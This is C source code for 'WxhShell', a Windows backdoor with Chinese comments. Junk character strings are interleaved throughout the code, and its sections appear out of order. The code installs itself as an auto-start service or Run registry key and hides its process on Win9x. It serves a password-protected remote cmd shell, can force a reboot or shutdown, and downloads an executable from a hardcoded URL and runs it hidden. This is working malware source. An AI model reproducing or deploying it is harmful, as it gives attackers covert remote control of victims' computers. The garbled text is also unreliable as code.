NdM}xh -;l`hRW HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -;sJ25( if(NULL == hInst ) return 0; 0\V\qAk ;X+G6F' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -X`~;=m>U g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x%b]ea NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \%w7D6dEZ 2v"wWap-+ if (!NtQueryInformationProcess) return 0; w;lx:j!Vp$ cFRSd
}p= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F?}m8ZRv if(!hProcess) return 0; Hi9 G^Q wlm3~B\64 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K~7'@\2
? ^?H\*N4 CloseHandle(hProcess); ?whRlh &@mvw=d hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0|],d?-h if(hProcess==NULL) return 0; ZkJY.H-F ,2=UuW"K HMODULE hMod; 5"76R
Gw= char procName[255]; <ol$-1l#9 unsigned long cbNeeded; Iu=pk@*O ==jkp
U*= if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n`FQgC RM?_15m CloseHandle(hProcess); Ig40#pA t9KH|y if(strstr(procName,"services")) return 1; // 以服务启动 G:E+s(x |_Naun=+~ return 0; // 注册表启动 :vn0|7W4 } y>)mSl@1y +^^S'mP8 // 主模块 i~v@ int StartWxhshell(LPSTR lpCmdLine) kw*Cr/'* { a}^!TC>%1i SOCKET wsl; &(z8GYBr BOOL val=TRUE; ^L*VW
gi9 int port=0; jzu l{'g struct sockaddr_in door; 1CF7 [ *mCa:^ if(wscfg.ws_autoins) Install(); IkE'_F U 8qKD port=atoi(lpCmdLine); FM@W>+ 0{{p.n8a~ if(port<=0) port=wscfg.ws_port; P:zEx]Y% W#JVU GYD WSADATA data; NO0[`jy( if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;6\Ski0=l EF_h::A_ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1*x5/b setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?j^?@%f0
door.sin_family = AF_INET; &CPe$'FYI door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]aL [ door.sin_port = htons(port); =8VJ.{xy_e +Qb2LR if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
'%JMnU closesocket(wsl); ZT3jxwe return 1; %_i0go,^ } ;4O;74`Zh iz,q8}/( if(listen(wsl,2) == INVALID_SOCKET) { <R]Wy}2- closesocket(wsl); #L+s%OJ` return 1; ^*owD;]4_ } LeRh(a`=$ Wxhshell(wsl); >P]I&S-. WSACleanup(); w~FO:/ XN 0RT>@ return 0; 8xGkh?% :h](;W>H } YM,D`c[pX b}q(YgH< // 以NT服务方式启动 E%v[7 ST VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {(zL"g46 { enfu%"(K) DWORD status = 0; :XZJx gx DWORD specificError = 0xfffffff; oVj A$| Q:xI}
]FM serviceStatus.dwServiceType = SERVICE_WIN32; \2LA%ZU serviceStatus.dwCurrentState = SERVICE_START_PENDING; K+aJ`V serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -QHzf&D? serviceStatus.dwWin32ExitCode = 0; `&&6-/ serviceStatus.dwServiceSpecificExitCode = 0; *dn-,Q%` serviceStatus.dwCheckPoint = 0; A<G ; serviceStatus.dwWaitHint = 0; a0v1LT6 ^SL}wC x hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]V[ if (hServiceStatusHandle==0) return; (^OC%pc <a/ZOuBzZ status = GetLastError(); p44uozbK if (status!=NO_ERROR) fqp7a1qQl { #| e5 serviceStatus.dwCurrentState = SERVICE_STOPPED; 9?mOLDu}Q0 serviceStatus.dwCheckPoint = 0; +Y%I0.?&5 serviceStatus.dwWaitHint = 0; Sv]"Y/N serviceStatus.dwWin32ExitCode = status; (fjXp75 serviceStatus.dwServiceSpecificExitCode = specificError; 9$w)_RX9W SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]KII?{<k return; UqQZ
A0e } 7}HA_@[ mjJlXA serviceStatus.dwCurrentState = SERVICE_RUNNING; T)?@E/VaS serviceStatus.dwCheckPoint = 0;
T?$?5 serviceStatus.dwWaitHint = 0; Bf}0'MK8zQ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ynz5Dy.d; } R=f5:8D<- G}OrpPP // 处理NT服务事件,比如:启动、停止 (6_/n&mF VOID WINAPI NTServiceHandler(DWORD fdwControl) `1}yB { X=RmCc$: switch(fdwControl) J +Y|# U { ,PtR^" Mf4 case SERVICE_CONTROL_STOP: HH7gT serviceStatus.dwWin32ExitCode = 0; d=Ihl30m serviceStatus.dwCurrentState = SERVICE_STOPPED; 3uiitjA] serviceStatus.dwCheckPoint = 0; 2/W0y!qh1 serviceStatus.dwWaitHint = 0; @n y{.s+ { D}=i
tu SetServiceStatus(hServiceStatusHandle, &serviceStatus); u(Q(UuI } lIT2 AFX+ return; }LVE^6zyk case SERVICE_CONTROL_PAUSE: /]UNN~( serviceStatus.dwCurrentState = SERVICE_PAUSED; wH5O>4LO break; e5y`CXX case SERVICE_CONTROL_CONTINUE: NQ{Z serviceStatus.dwCurrentState = SERVICE_RUNNING; W8/6 break; T</gWW case SERVICE_CONTROL_INTERROGATE: K*D]\/; ^ break; G&B}jj }; {;gWn'aq SetServiceStatus(hServiceStatusHandle, &serviceStatus); %bETr"Xom
} 0iq$bT| x=<>%m5R // 标准应用程序主函数 uy28=BE int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gI$`d?[0{ { Cd*C^cJU&z ~|jy$*m4A // 获取操作系统版本 7"U,N;y OsIsNt=GetOsVer(); ?-p aM5Q+ GetModuleFileName(NULL,ExeFile,MAX_PATH); v2<gkCK^ "lya|; // 从命令行安装 ~DS9{Y if(strpbrk(lpCmdLine,"iI")) Install(); $G.|5sEk *)sz]g|d // 下载执行文件 :H k4i%hGk if(wscfg.ws_downexe) { 66;O 3g' if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4&WzGnK WinExec(wscfg.ws_filenam,SW_HIDE); ?=Qg } _)\,6| # vIv3rN=5vB if(!OsIsNt) { O\{_)L // 如果时win9x,隐藏进程并且设置为注册表启动 Y)5}bmL HideProc(); &~i
&~AJ StartWxhshell(lpCmdLine); k}7)pJNj } Qc/J"<Lx else 7guxkN# if(StartFromService()) @K>Pw arl // 以服务方式启动 b8Sl3F?-~ StartServiceCtrlDispatcher(DispatchTable); nr6U>
KR^ else _JB3+0@ // 普通方式启动 WJ,ON-v StartWxhshell(lpCmdLine); < duM8 -I<`!kH* return 0; EPfVS } breVTY7 S Tl-B[CT >eI(M $ qN(;l&Q =========================================== D7wWk
,B ;trR'~ u{^Kyo#v Wb$bCR#?< }3e+D B 8,{jwB " S d -+a 1NJ|%+I #include <stdio.h> }Qo8Xps #include <string.h> .$;GVJ-:5 #include <windows.h> ^\;5O(9 #include <winsock2.h> G3n7x?4m #include <winsvc.h> "Y6mM_flq #include <urlmon.h> F[Up >Li?@+Zl #pragma comment (lib, "Ws2_32.lib") \Ld7fP #pragma comment (lib, "urlmon.lib") h[?28q$ Vy VC#AK, #define MAX_USER 100 // 最大客户端连接数 jHzb,& #define BUF_SOCK 200 // sock buffer "a7d`l: #define KEY_BUFF 255 // 输入 buffer ^~$
o-IX ;2~Q97c0 #define REBOOT 0 // 重启 =lnz5H #define SHUTDOWN 1 // 关机 Zl*!pQ 7y3; F7V #define DEF_PORT 5000 // 监听端口 C_/oORvK hJM0A3(Cm #define REG_LEN 16 // 注册表键长度 1d6pQ9 N #define SVC_LEN 80 // NT服务名长度 ?u|g2!{_ WF7RMQ51j // 从dll定义API mBF?+/l typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5;*C0m2%i typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #,Y} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2I typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L
$~Id JB7]51WH@ // wxhshell配置信息 ~czt= struct WSCFG { A
[JV*Dt int ws_port; // 监听端口 |qD<h char ws_passstr[REG_LEN]; // 口令
slbV[xR int ws_autoins; // 安装标记, 1=yes 0=no 9UZX+@[F char ws_regname[REG_LEN]; // 注册表键名 6{6tg>|L) char ws_svcname[REG_LEN]; // 服务名 *4bV8T>0Z char ws_svcdisp[SVC_LEN]; // 服务显示名 ur|2FS7 char ws_svcdesc[SVC_LEN]; // 服务描述信息 cVMTT]cj1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }z[se)s int ws_downexe; // 下载执行标记, 1=yes 0=no %AFy{l char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f]EHDcC3X char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /"U<0jot PSE![whK }; |[ge,MO: Wd7*sa3T // default Wxhshell configuration >HDK<1 > struct WSCFG wscfg={DEF_PORT, 3f3?%9 "xuhuanlingzhe", 86i =N_ 1, Pz?O_@Ln "Wxhshell", `fH6E8N "Wxhshell", 'oTF$3n "WxhShell Service", GZ1>]HB>r^ "Wrsky Windows CmdShell Service", ^6=nL<L "Please Input Your Password: ", 1~+w7Ar=( 1, pJmn;XbME "http://www.wrsky.com/wxhshell.exe", 8WvT0q>] "Wxhshell.exe" 6l4l74 }; lr1i DwZV 7-^d4P+|g // 消息定义模块 ;3w W)gL1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xN5}y3 char *msg_ws_prompt="\n\r? for help\n\r#>"; ^71sIf;+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mqq7;w@(J char *msg_ws_ext="\n\rExit."; M8h9i2 char *msg_ws_end="\n\rQuit."; wDsEx!\# char *msg_ws_boot="\n\rReboot..."; fE(rDQI char *msg_ws_poff="\n\rShutdown..."; Z'\_YbB char *msg_ws_down="\n\rSave to "; {h2D}F 4`i_ 4&TS char *msg_ws_err="\n\rErr!"; +=||c\' char *msg_ws_ok="\n\rOK!"; O @l `D` YcIk{_N3 char ExeFile[MAX_PATH]; kWgxswl7H int nUser = 0; s>kzt1,x HANDLE handles[MAX_USER]; hE>Mo$Q( int OsIsNt; O:1YG$uKa XRZmg " SERVICE_STATUS serviceStatus; K\uR=L7 SERVICE_STATUS_HANDLE hServiceStatusHandle; 8^O|Aa$IF: %zWtPxAf // 函数声明 IkD\YPL; int Install(void); /Qbt int Uninstall(void); 5RqkAC int DownloadFile(char *sURL, SOCKET wsh); *dGW=aM#C int Boot(int flag); N/Z<v* i" void HideProc(void); +YP,LDJ!v int GetOsVer(void); %KqXtc`O int Wxhshell(SOCKET wsl); Yk:\oM void TalkWithClient(void *cs); aaLT% int CmdShell(SOCKET sock); QH+Oi&xH int StartFromService(void); xK
/NzVt int StartWxhshell(LPSTR lpCmdLine); fk=_ Y S/8xo@vct] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?L'ijzP VOID WINAPI NTServiceHandler( DWORD fdwControl ); Tc{r}y[) hMdsR,Iq // 数据结构和表定义 F e8xOo6 SERVICE_TABLE_ENTRY DispatchTable[] = z1s9[5 { E:#VS~ {wscfg.ws_svcname, NTServiceMain}, QH;1* {NULL, NULL} 8$S$*[-a }; :h" Y >1P gwNv;g // 自我安装 ^*RmT int Install(void) k}~|jLu@g { dKhDO`.s char svExeFile[MAX_PATH]; 7|*|xLrVY HKEY key; #k*e>d$ strcpy(svExeFile,ExeFile); {l![{ dnH?@K // 如果是win9x系统,修改注册表设为自启动 2UA h^i-^ if(!OsIsNt) { S&FMFXF@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !'MZeiLP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nx84l 7< RegCloseKey(key); Za5*HCo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L=?Yc*vg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PO1sVP.S RegCloseKey(key); $yBU
,lu} return 0; Jk 0;<2j } l\JoWL } nTyKZ(#u } gCW.;|2 else { >}Za) :k#Y|( // 如果是NT以上系统,安装为系统服务 |s+y]3-_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
PohG y if (schSCManager!=0) 5fjmr { y>UM~E SC_HANDLE schService = CreateService }PUQvIGZZ& ( k& 2U& schSCManager, glm29hF wscfg.ws_svcname, 9m/v^ wscfg.ws_svcdisp, .IE2d%]? SERVICE_ALL_ACCESS, iG!tRNQ{y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q{nNWvL SERVICE_AUTO_START, :dc>\kUIv SERVICE_ERROR_NORMAL, c=0S]_ svExeFile, r8A NULL, KC[ql}JP NULL, 79^Y^.D NULL, gG!L#J? NULL, ZBUEg7c NULL |7LhE+E ); 4"nb>tA if (schService!=0) p8aGM-+40W { _0Qp[l-
CloseServiceHandle(schService); %}elh79H* CloseServiceHandle(schSCManager); <l opk('7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #N.W8mq strcat(svExeFile,wscfg.ws_svcname); G>&Ta p> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j^-E,YMC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1t w>C\ RegCloseKey(key); [H<![Z1*r return 0; ?%-VSL>$w= } ~)xg7\k } I]+xerVd CloseServiceHandle(schSCManager); 7Ko<,Kp2b } _4Z|O] } `K5Lp>=R C,r[H5G# return 1; GrPKJ~{6 } \]uD"Jqv# -5B>2K F // 自我卸载 oM\b>* int Uninstall(void) ;n]GHqzY_ { q#s:2#= HKEY key; cetHpU, w*#B_6bG if(!OsIsNt) { 5ar2Y$bY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *9Ta0e* RegDeleteValue(key,wscfg.ws_regname); G8AT]
= RegCloseKey(key); 2MY-9(no if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6bPoC$<Z RegDeleteValue(key,wscfg.ws_regname); n@%Q 2_ RegCloseKey(key); Uao8#<CkvJ return 0; NN>E1d= } 9lXjB_wG> } zNG]v?JAh } ]6s7?07m4 else { ^i+ d 3 5\!t!FL_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q+bZZMK5,U if (schSCManager!=0) H#/ #yVw { 3T1t !q4/5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &k53*Wo if (schService!=0) @}K|/ { #dO8) t if(DeleteService(schService)!=0) { ]? 2xS?vd CloseServiceHandle(schService); Y6W#uiqk CloseServiceHandle(schSCManager); 0nOkQVMk> return 0; =#=<%HPT } Y["aw&;#O\ CloseServiceHandle(schService); n <,:;0{ } mH`K~8pRg CloseServiceHandle(schSCManager); 9f=L'{ } FT'2J } :<}1as!eo 9N[(f-` return 1; &[yW}uV<7 } kz!CxI ( [k~}Fe)x // 从指定url下载文件 DjLSl,Z int DownloadFile(char *sURL, SOCKET wsh) <Pn]{N { |(eRv?Qy@ HRESULT hr; ~SzHIVj:6 char seps[]= "/"; #3~hF)u&/ char *token; 1`& Yg( char *file; f[ 'uka.U char myURL[MAX_PATH]; |7#S0Ca@ char myFILE[MAX_PATH]; OUtXu7E$ 3aY^6& strcpy(myURL,sURL); 6lAHB*` token=strtok(myURL,seps); B0+r while(token!=NULL) faIHmU { 0PP5qeqN2n file=token; F`Ld
WA token=strtok(NULL,seps); L#|6Lnp^ } XG!s+ShFV dy'
J~Eo7 GetCurrentDirectory(MAX_PATH,myFILE); "/kTEp strcat(myFILE, "\\"); $n#NUPzG+ strcat(myFILE, file); \+#>XDD send(wsh,myFILE,strlen(myFILE),0); x=I|O;">< send(wsh,"...",3,0); 3;%dn\
D hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2kSN<jMr if(hr==S_OK) k.n-JS return 0; #S|DoeFs else *Y]()#?Gr return 1; P1_ZGeom* SJ8CBxA } MszX9wl h0z>dLA#2 // 系统电源模块 I]iTD int Boot(int flag) d:!A`sk7 { Q<O(Ix HANDLE hToken; MhL>6rn TOKEN_PRIVILEGES tkp; b?]Lx.l- MJ_]N+ if(OsIsNt) { |aX1PC)o_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L ]Y6/Q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %8c2d tkp.PrivilegeCount = 1; 2A(?9
R9&h tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -d)+G%{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _O;2.M%@ if(flag==REBOOT) { RQO&F$R= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 61pJVOe return 0; [X^Oxs } Bm$(4 else { |y$8!*S~( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x^V9;V@6 return 0; (iJ9ekB } oD.[T)G? } J e"~/+ else { _eZ*_H,\ if(flag==REBOOT) {
[BZA1, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y*<x@i+h return 0; s9[547?` } "pMx( else { 13aj fH if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =berCV return 0; &rfl(&\oUi } EWC{896, } @;t6Slc"~ -$sVqR>_ return 1; b]6@
O8 } g:eqB&& ?:DUsg // win9x进程隐藏模块 GV0-"9uwX~ void HideProc(void) N%Uk/ c' { f)19sjAJk rsn^YC HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zff<#yK1 if ( hKernel != NULL ) n5+Z|<3) { 5>\~jf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u"gtv ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *; :dJXR FreeLibrary(hKernel);
$5\+QW } *!MMl]gU? N;S1s0FN return; m[DCA\Mo@ } B+2EIaI .R]DT5 // 获取操作系统版本 6~^ M<E int GetOsVer(void) ''Hx& { g[Q+DT OSVERSIONINFO winfo; ?/q\S winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I=2b)"t0 GetVersionEx(&winfo); 8(>2+#exw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (v}4,'dS return 1; 2rxz<ck( else %%sJ+) return 0; z\`tnz7>$ } Qs,4PPEg Hu$y8_Udw // 客户端句柄模块 Zo<j"FG int Wxhshell(SOCKET wsl) Ay0.D FL { C7FxV2 SOCKET wsh; b\S~uFq6 struct sockaddr_in client; 2(U;{;\n* DWORD myID; L6./5`bs 2b
K1.BD while(nUser<MAX_USER) B \LmE+a> { <q&4Y+b int nSize=sizeof(client); }<^QW't_Y wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;EQ7kuJQ?
if(wsh==INVALID_SOCKET) return 1; nJ}@9v F/ 8.:WMH` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [@_W-rA if(handles[nUser]==0) )4TP{tp closesocket(wsh); &2bqL!k else {H* nUser++; ?I$- im } bTt1y O WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xp}M5| 2ZEDyQM return 0; /gn!="J } L1Jn@ ]$=#:uf // 关闭 socket nH<#MGBS void CloseIt(SOCKET wsh) 7,zE?KG / { >Ptu-* closesocket(wsh); 6Yl+IP];i nUser--; Zo,066'+[. ExitThread(0); 5> lIrBf } &?$mS'P fejC,H4I // 客户端请求句柄 RO@=&3s void TalkWithClient(void *cs) q~^!Ck+#* { Y?3f
Fg '50}QY_R. SOCKET wsh=(SOCKET)cs; g^^pPVK_ char pwd[SVC_LEN]; A"z9t#dv@ char cmd[KEY_BUFF]; dI|D c char chr[1];
[8~P
Pc^ int i,j; c8T| o=`k6 O4Q"2 while (nUser < MAX_USER) { 5YneoM]Q qtmKX if(wscfg.ws_passstr) { dyk(/#*7W if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U(LLIyZv //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }m'n1tm;
//ZeroMemory(pwd,KEY_BUFF); yO}5.
i=0; x[0O*ty-*< while(i<SVC_LEN) { 7WwE] ^M -QwH| // 设置超时 >ZW|wpO fd_set FdRead; 3)OQgeKU struct timeval TimeOut; ]x{.qTtw FD_ZERO(&FdRead); ;s;3cC! FD_SET(wsh,&FdRead); $rlrR'[H TimeOut.tv_sec=8; XT4Gz|k TimeOut.tv_usec=0; 'y=N_/+s int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #f<v% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N/ f7"~+` TDUY& 1[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |-)8=QDz)r pwd=chr[0]; vP=68muD if(chr[0]==0xd || chr[0]==0xa) { '_^T]fr} pwd=0; +<j7^AEG break; 0|J_'-< } 9Msy=qvYG i++; 1`YU9? } H]pI$t3~ /isalOT // 如果是非法用户,关闭 socket 'E+"N'M| if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vbVOWX6 } #c5jCy}n fGO\f;P send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D}q"^"#T send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nYFrp)DLK m3TR}=n while(1) { BHf$ %?3z, I O:*F0 ZeroMemory(cmd,KEY_BUFF); w4vV#C4X Y}1c>5{bE // 自动支持客户端 telnet标准 @phVfP"M j=0; 5,pNqXRp while(j<KEY_BUFF) { ocFk#FW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2lCFE) cmd[j]=chr[0]; -cM1]soT if(chr[0]==0xa || chr[0]==0xd) { =29IHL3 cmd[j]=0; qyv=ot0"~F break; 68Gywk3]=u } pL5cw= j++; D]]wJQU2 } })H d]a =c'4rJ$+ // 下载文件 <;6{R#Tuh if(strstr(cmd,"http://")) { _r*\ BM8y send(wsh,msg_ws_down,strlen(msg_ws_down),0); eHuJFM if(DownloadFile(cmd,wsh)) a:fP send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lr:Qc#2 else ujZ`T0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =~GP;=6 } x,!Dd else { TI4Hu,rc x#J9GP. switch(cmd[0]) { ]>t~Bcnm HOR8Jwf: // 帮助 Yv5H41o" case '?': { u^~7[OkE send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V4n~Z+k break; JaCX}[R } K*SgEkb'l // 安装 {>
YsrD C case 'i': { :A8}x=K if(Install()) HIXAA?_eh= send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dfs*~H63 else >fH0>W+! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nm- break; bj
pruJ`= } fF(2bVKP: // 卸载 w+g29 case 'r': { X0G,tl if(Uninstall()) fg^AEn1i send(wsh,msg_ws_err,strlen(msg_ws_err),0); gV2vwe else )`DVPudiy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /4G1,T_, break; wa"0`a:`; } E^1yU // 显示 wxhshell 所在路径 CS7b3p!I case 'p': { srVWN:uuH char svExeFile[MAX_PATH]; (?jK|_ strcpy(svExeFile,"\n\r"); 1dQAo1 strcat(svExeFile,ExeFile); )9YDNVo*- send(wsh,svExeFile,strlen(svExeFile),0); @dWA1tM break; x?Abk } ;6G]~}>o // 重启 j3Od7bBS] case 'b': { @t%da^-HS" send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uf6egm5] if(Boot(REBOOT)) \p4*Q}t send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6] x6FeuS else { w2s`9 closesocket(wsh); gP%<<yl ExitThread(0); C'JI%HnQ } <Wn~s= break; `% 9Y)a/e } :3D8rqi: // 关机 uw+nll*W% case 'd': { Z",0 $Gxu send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G_F_TNO if(Boot(SHUTDOWN)) E{,WpU send(wsh,msg_ws_err,strlen(msg_ws_err),0); A;co1,]gR else { 8{>|%M closesocket(wsh); !VD$uT ExitThread(0); #Pd9i5~N } lQIg0G/3 break; OxJHhF } .x=abA$!9 // 获取shell OX;bA^+}P case 's': { 4e#g{, CmdShell(wsh); #wyceEa closesocket(wsh); z
0?Me H# ExitThread(0); $.tT break; -RP{viGWK } {QEvc // 退出 !XTzsN case 'x': { upMs yLp( send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _{o 3 y"DZ CloseIt(wsh); RPX.?;": break; EZj rX>"# } 8(? &=>@ // 离开 YIN* '!N case 'q': { zw3I(_d[ send(wsh,msg_ws_end,strlen(msg_ws_end),0);
nS]e closesocket(wsh); OdNo2SO WSACleanup(); -o/Vp>_UOE exit(1); *L<EGFP break; &&;.7E } `@y~ JNf! } >:.c?{%g* } +P))*0(c_ pauO_'j_1p // 提示信息 H7uh"/A if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kiF}+,z" } %|4Kak]:Q } 2H;#L`Z* EwBrOq`C return; 5xc e1[ } X[/7vSqZ@w CL7_3^2qI // shell模块句柄 /\,3AInLb int CmdShell(SOCKET sock) N(i.E5&9 { mBL?2~M STARTUPINFO si; fx>QP?Z ZeroMemory(&si,sizeof(si)); yFm88 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $mT)<N ;w si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?0 cv PROCESS_INFORMATION ProcessInfo; -I4@6vE, char cmdline[]="cmd"; _gH$
,.j/ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a,fcKe&B return 0; QUkP& |